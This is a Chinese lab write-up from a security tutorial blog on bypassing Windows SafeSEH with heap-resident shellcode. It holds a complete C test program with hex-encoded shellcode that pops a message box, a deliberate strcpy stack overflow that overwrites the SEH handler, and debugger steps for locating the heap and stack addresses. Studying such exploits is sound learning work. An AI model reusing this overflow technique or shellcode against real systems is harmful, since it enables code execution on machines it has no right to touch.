8.2 从堆中绕过SafeS.E.H

一、实验环境

        操作系统:windows XP SP2(关闭DEP)

        软件版本:VS2008(release)、原版OD(实时调试)

二、实验代码

#include <stdafx.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=

"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xA0\x3E\x39\x00"//address of shellcode in heap

/*
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
*/


;


void test(char * input)
{
	
	char str[200];
	strcpy(str,input);	
    int zero=0;
	zero=1/zero;
}

void main()
{
	//__asm int 3
	char * buf=(char *)malloc(500);
	strcpy(buf,shellcode);
	test(shellcode);	
}

        实验思路与代码简要分析:
        (1)首先在堆中申请500字节的空间,用来存放shellcode;

        (2)函数test存在一个典型的溢出,通过向str复制超长字符串造成str溢出,进而覆盖程序的S.E.H信息;

        (3)用shellcode在堆中的起始地址覆盖异常处理函数地址,然后通过制造除零异常,将程序转入异常处理,进而跳转到堆中的shellcode执行。

三、实验步骤

        要想执行shellcode,需要知道:

  • 堆区的起始地址 ->为了让异常处理函数指针指向shellcode;
  • 第一个SEH异常处理函数指针在栈中的地址;
  • 栈区buf的起始地址->为了构造shellcode.

        首先shellcode用\x90\x90填充,便于查看,编译允许,程序会在断点处停下:

         可以看到堆区的起始位置为0x393EA0。

        怎么看出来?数据窗口依次跳转到变红的寄存器所保存的地址处,不过,一般函数调用返回值都存放在eax中;另外,0x178代表freelist[0]。

        程序跳转到test中strcpy执行完的地方:

         可以查看到栈中buf的起始地址为0x12FE8C.

        查看SEH链:

         可以看到异常处理函数的指针存放在0x12FFB0+4的地方。所以我们使用300字节就可以覆盖掉异常处理函数指针。

        构造shellcode:

         !!!注意:最后四字节的shellcode起始地址要填自己设备的shellcode起始地址。

        修改完shellcode,运行程序:

         成功弹窗!

 

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值